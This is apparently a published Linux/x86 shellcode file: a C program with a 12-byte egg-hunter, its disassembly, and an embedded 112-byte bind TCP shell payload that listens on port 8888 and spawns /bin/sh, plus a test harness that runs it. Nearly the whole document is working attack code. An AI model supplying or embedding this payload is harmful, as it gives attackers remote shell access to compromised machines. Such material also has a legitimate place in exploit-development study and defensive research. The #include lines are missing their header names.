/* Title: Linux/x86 - EggHunter Shellcode (12 Bytes) Description: Smallest Null-Free Egg Hunter Shellcode - 12 Bytes Date : 14/Jan/2018 Author: Nipun Jaswal (@nipunjaswal) ; SLAE-1080 Details: 1. Works with an executable EGG 2. Make sure you clear EDX, EAX registers in the shellcode before any other operations */ /* EGG Hunter Disassembly: Disassembly of section .text: 08048060 <_start>: 8048060: ba 90 47 90 4f mov edx,0x4f904790 08048065 : 8048065: 40 inc eax 8048066: 39 10 cmp DWORD PTR [eax],edx 8048068: 75 fb jne 8048065 804806a: ff e0 jmp eax */ #include #include #define EXECEGG "\x90\x47\x90\x4f" //Executable EGG unsigned char egg_hunter[] = \ "\xba\x90\x47\x90\x4f\x40\x39\x10\x75\xfb\xff\xe0"; //EggHunter 12 Bytes unsigned char egg[] = \ EXECEGG // Bind TCP Shell 112 Bytes Port 8888 "\x31\xdb\x31\xc0\xb0\x66\xfe\xc3\x56\x6a\x01\x6a" "\x02\x89\xe1\xcd\x80\x97\x56\x66\x68\x22\xb8\x66" "\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\xf7\xe3" "\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x56\x57\x31\xdb" "\xf7\xe3\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x31\xdb" "\xf7\xe3\x56\x56\x57\xb0\x66\xb3\x05\x89\xe1\xcd" "\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79" "\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"; void main() { printf("Length of Egg Hunter Shellcode: %d\n", strlen(egg_hunter)); printf("Length of the Actual Shellcode: %d\n", strlen(egg)); int (*ret)() = (int(*)())egg_hunter; ret(); }